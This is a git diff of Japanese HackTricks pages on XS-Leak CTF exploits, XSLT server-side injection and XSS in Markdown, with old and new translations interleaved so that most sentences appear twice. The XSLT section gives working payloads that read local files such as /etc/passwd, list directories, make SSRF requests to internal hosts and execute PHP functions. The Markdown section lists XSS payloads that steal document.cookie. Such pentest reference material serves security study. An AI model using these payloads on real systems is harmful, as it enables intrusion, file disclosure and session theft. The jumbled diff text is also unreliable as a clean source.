* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
[**このエクスプロイト**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html)では、[**@terjanq**](https://twitter.com/terjanq)が以下のページで言及された課題に対する別の解決策を提案しています:
In [**this exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq)は、次のページで言及された課題に対する別の解決策を提案しています:
{% content-ref url="connection-pool-by-destination-example.md" %}
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
{% endcontent-ref %}
このエクスプロイトの動作を見てみましょう:
このエクスプロイトがどのように機能するか見てみましょう:
* 攻撃者は、**`<img`** タグが **`/js/purify.js`** **ロード** するようなノートをできるだけ多く挿入しますオリジンをブロックするために6つ以上
* 次に、攻撃者はインデックス1の **ノート** **削除** します。
* その後、攻撃者は\[**ボットが残っているノートにアクセスするように**ページにアクセス]し、**`victim.com/js/purify.js`** に **リクエスト** を送信し、それを **タイム** します。
* タイムが **大きい** ならば、**注入** は **残されたノート** にあり、タイムが **小さい** ならば、**フラグ** がそこにあることを示します
* 攻撃者は、できるだけ多くの**`<img`**タグが**`/js/purify.js`****読み込む**ようにノートを注入しますオリジンをブロックするために6つ以上
* 次に、攻撃者はインデックス1の**ノート**を**削除**します。
* 次に、攻撃者は\[残りのノートで**ボットがページにアクセスする**\]ようにし、**`victim.com/js/purify.js`**に**リクエスト**を送信し、その**時間**を計測します。&#x20;
* 時間が**大きければ**、**注入**は残された**ノート**にあり、時間が**小さければ**、**フラグ**はそこにありました
{% hint style="info" %}
正直なところ、スクリプトを読んでいて、**攻撃者がボットにページをロードさせてimgタグをトリガーする**部分を見逃してしまいました。コードの中にそのようなものは見当たりません
正直なところ、スクリプトを読んでいると、**攻撃者がボットにページを読み込ませてimgタグをトリガーする**部分が見当たらないように思います。コードの中にそのようなものは見当たりません
{% endhint %}
```html
<html>
@ -120,14 +123,17 @@ break;
</html>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>と一緒に、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,35 +1,38 @@
# イベントループのブロッキング + 遅延画像
# イベントループブロッキング + レイジーイメージ
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}
[**このエクスプロイト**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45)では、[**@aszx87410**](https://twitter.com/aszx87410)が、**遅延画像サイドチャネル**技術をHTMLインジェクションと組み合わせ、種類の**イベントループブロッキング技術**を使用して文字をリークします。
[**このエクスプロイト**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45)では、[**@aszx87410**](https://twitter.com/aszx87410)が**レイジーイメージサイドチャネル**技術をHTMLインジェクションを通じて、**イベントループブロッキング技術**と組み合わせて文字を漏洩させています。
これは、すでにコメントされている**CTFチャレンジ**のための**異なるエクスプロイト**であり、詳細については次のページを参照してください。
これは、次のページで既にコメントされたCTFチャレンジの**異なるエクスプロイト**です。チャレンジに関する詳細は以下をご覧ください:
{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
このエクスプロイトのアイデアは次のとおりです:
このエクスプロイトの背後にあるアイデアは次のとおりです:
* 投稿はアルファベット順に読み込まれます
* **攻撃者**は**"A"**で始まる**投稿**を**インジェクト**することができます。その後、いくつかの**HTMLタグ**(大きな**`<canvas`**など**画面のほとんどを埋め最後の**`<img lazy`**タグ**でものを読み込みます
* "A"の代わりに**攻撃者が同じ投稿を"z"で始める**場合、**フラグのついた投稿**が**最初に表示**され、その後**インジェクトされた投稿**が初めに"z"と**大きな** **キャンバス**と共に表示されます。フラグのついた投稿が最初に表示されたため、最初のキャンバスが画面全体を占有し、最後の**`<img lazy`**タグが画面に表示されず、**読み込まれない**状態になります。
* その後、**ボットがページにアクセスしている間**に、**攻撃者**は**fetchリクエストを送信**します。
* 投稿に**インジェクトされた画像**が**読み込まれている**場合、これらの**fetch**リクエストは**時間がかかり**ます。そのため、攻撃者は**投稿がフラグの前にあることを知る**ことができます(アルファベット順)。
* **fetch**リクエストが**速い**場合、それは**投稿がフラグの後にある**ことを意味します。
* **攻撃者**は**"A"**で始まる**投稿**を**インジェクト**でき、その後に大きな**`<canvas`**のような**HTMLタグ**が画面のほとんどを占めいくつかの最終的な**`<img lazy`タグ**が読み込まれます
* もし**攻撃者が"A"の代わりに同じ投稿を"z"で始まるようにインジェクト**した場合、**フラグ**を含む**投稿**が**最初に**表示され、その後に**インジェクトされた**投稿が初期の"z"と**大きな****canvas**と共に表示されます。フラグを含む投稿が最初に表示されたため、最初のcanvasは画面全体を占め、最終的な**`<img lazy`**タグが画面に**表示されない**ため**読み込まれません**
* その後、**ボットが**ページに**アクセスしている間に、**攻撃者**は**フェッチリクエスト**を**送信**します。&#x20;
* 投稿にインジェクトされた**画像**が**読み込まれている**場合、これらの**フェッチ**リクエストは**長く**かかるため、攻撃者は**投稿がフラグの前にある**ことを知ります(アルファベット順に)。
* もし**フェッチ**リクエストが**速い**場合、それは**投稿がフラグの後にある**ことを意味します。
コードをチェックしましょう:
コードを確認しましょう:
```html
<!DOCTYPE html>
<html>
@ -150,14 +153,17 @@ resolve(isFound)
</body>
</html>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
# XSLT サーバーサイドインジェクション (拡張スタイルシート言語変換)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## 基本情報
XSLTは、XMLドキュメントを異なる形式に変換するために使用される技術です。バージョン1、2、3の3つのバージョンがあり、バージョン1が最も一般的に使用されています。変換プロセスはサーバー上またはブラウザー内で実行できます。
XSLTは、XMLドキュメントを異なる形式に変換するために使用される技術です。バージョン1、2、3の3つのバージョンがあり、バージョン1が最も一般的に利用されています。変換プロセスは、サーバー上またはブラウザ内で実行できます。
最も頻繁に使用されるフレームワークには次のものがあります:
最も頻繁に使用されるフレームワークには以下が含まれます:
- **Gnome****Libxslt**、
- **Apache****Xalan**、
- **Saxonica****Saxon**。
- **GnomeのLibxslt**、
- **ApacheのXalan**、
- **SaxonicaのSaxon**。
XSLTに関連する脆弱性を悪用するためには、xslタグをサーバーサイドに保存し、そのコンテンツにアクセスする必要があります。このような脆弱性の例は、のソースに記載されています:[https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)。
XSLTに関連する脆弱性を悪用するには、xslタグがサーバーサイドに保存され、そのコンテンツにアクセスする必要があります。このような脆弱性の例は、以下のソースに記載されています:[https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)。
## 例 - チュートリアル
```bash
@ -91,7 +94,7 @@ Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
</body>
</html>
```
### フィンガープリン
### フィンガープリンティング
{% code title="detection.xsl" %}
```xml
@ -123,7 +126,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
```
{% endcode %}
そして実行
そして実行します
```xml
$saxonb-xslt -xsl:detection.xsl xml.xml
@ -131,7 +134,7 @@ Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
```
### ローカルファイルの読み取り
### ローカルファイルを読む
{% code title="read.xsl" %}
```xml
@ -157,8 +160,6 @@ man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```
### SSRF
SSRFServer-Side Request Forgery、サーバーサイドリクエストフォージェリ
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
@ -168,11 +169,11 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
```
### バージョン
使用されているXSLTバージョンによって、関数の数が異なる可能性があります:
使用されるXSLTバージョンによって、関数の数は多い場合も少ない場合もあります:
- [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
- [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
- [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
## フィンガープリント
@ -205,8 +206,6 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
</xsl:stylesheet>
```
## SSRF
SSRFServer-Side Request Forgery、サーバーサイドリクエストフォージェリ
```xml
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
@ -219,7 +218,7 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
</xsl:template>
</xsl:stylesheet>
```
## ディレクトリリストPHP
## ディレクトリリスト (PHP)
### **Opendir + readdir**
```xml
@ -238,7 +237,7 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
```
### **アサートvar_dump + scandir + false**
### **アサート (var\_dump + scandir + false)**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
@ -248,7 +247,7 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
</body>
</html>
```
## ファイルの読み取り
## ファイルを読む
### **内部 - PHP**
```xml
@ -268,7 +267,7 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
</xsl:template>
</xsl:stylesheet>
```
### **HTTPを介して**
### **HTTPを通じて**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
@ -285,7 +284,7 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
&passwd;
</xsl:template>
```
### **内部PHP-機能)**
### **内部 (PHP関数)**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
@ -326,7 +325,7 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
</xsl:template>
</xsl:stylesheet>
```
### **Xalan-J拡張機能**
### **Xalan-J 拡張**
```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
@ -334,7 +333,7 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
<redirect:close file="loxal_file.txt"/>
</xsl:template>
```
他の方法として、PDFファイルにファイルを書き込む方法があります。
他の方法でPDFにファイルを書く
## 外部XSLを含める
```xml
@ -345,7 +344,7 @@ SSRFServer-Side Request Forgery、サーバーサイドリクエストフォ
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
## コードの実行
## コードを実行する
### **php:function**
```xml
@ -368,13 +367,15 @@ xmlns:php="http://php.net/xsl" >
</body>
</html>
```
### **他のフレームワークを使用してコードを実行する**
Execute code using other frameworks in the PDF
**このページでは、他の言語でのRCEの例を見つけることができます:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
### **More Languages**
**このページでは、他の言語におけるRCEの例を見つけることができます:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
## **クラスからPHPの静的関数にアクセスする**
次の関数は、クラスXSLの静的メソッド`stringToUrl`を呼び出します
次の関数は、クラスXSLの静的メソッド`stringToUrl`を呼び出します:
```xml
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
@ -389,9 +390,11 @@ version="1.0">
</xsl:template>
</xsl:stylesheet>
```
## より多くのペイロード
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)をチェックしてください。
* [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)をチェックしてください。
(Example from [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
## More Payloads
* Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
* Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
## **ブルートフォース検出リスト**
@ -403,14 +406,17 @@ version="1.0">
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# XSS in Markdown
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
マークダウンにコードをインジェクトする機会がある場合、コードが解釈されるとXSSをトリガーするために使用できるいくつかのオプションがあります。
もしマークダウンにコードを注入する機会があれば、コードが解釈されるときにXSSをトリガーするために使用できるいくつかのオプションがあります。
### HTML tags
### HTMLタグ
マークダウンでXSSを取得する最も一般的な方法は、javascriptを実行する一般的なHTMLタグをインジェクトすることです。なぜなら、いくつかのマークダウンインタプリタはHTMLも受け入れるからです。
マークダウンでXSSを取得する最も一般的な方法は、javascriptを実行する一般的なHTMLタグを注入することです。なぜなら、いくつかのマークダウンインタプリタはHTMLも受け入れるからです。
```html
<!-- XSS with regular tags -->
<script>alert(1)</script>
<img src=x onerror=alert(1) />
```
以下は、[hacktricksのメインXSSページ](./)にさらに多くの例があります。
あなたは[hacktricksのメインXSSページ](./)でさらに多くの例を見つけることができます。
### Javascriptリンク
HTMLタグが選択肢にない場合は、常にmarkdown構文を使って遊んでみることができます:
HTMLタグが選択肢でない場合は、常にマークダウン構文で遊んでみることができます:
```html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))
@ -41,16 +44,16 @@ HTMLタグが選択肢にない場合は、常にmarkdown構文を使って遊
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```
### Img イベント構文の悪用
### Imgイベント構文の悪用
```markdown
